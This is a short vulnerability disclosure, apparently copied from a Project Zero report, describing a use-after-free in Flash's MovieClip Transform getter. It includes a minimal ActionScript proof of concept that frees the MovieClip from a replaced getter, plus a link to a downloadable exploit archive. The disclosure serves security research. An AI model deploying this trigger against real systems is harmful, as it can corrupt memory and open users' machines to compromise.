Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844
There is a use-after-free in the MovieClip Transform getter.If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:
var mc = this.createEmptyMovieClip("mc", 1);var tf = flash.geom.Transform;var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();function func(){
mc.removeMovieClip();// Fix heap
}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip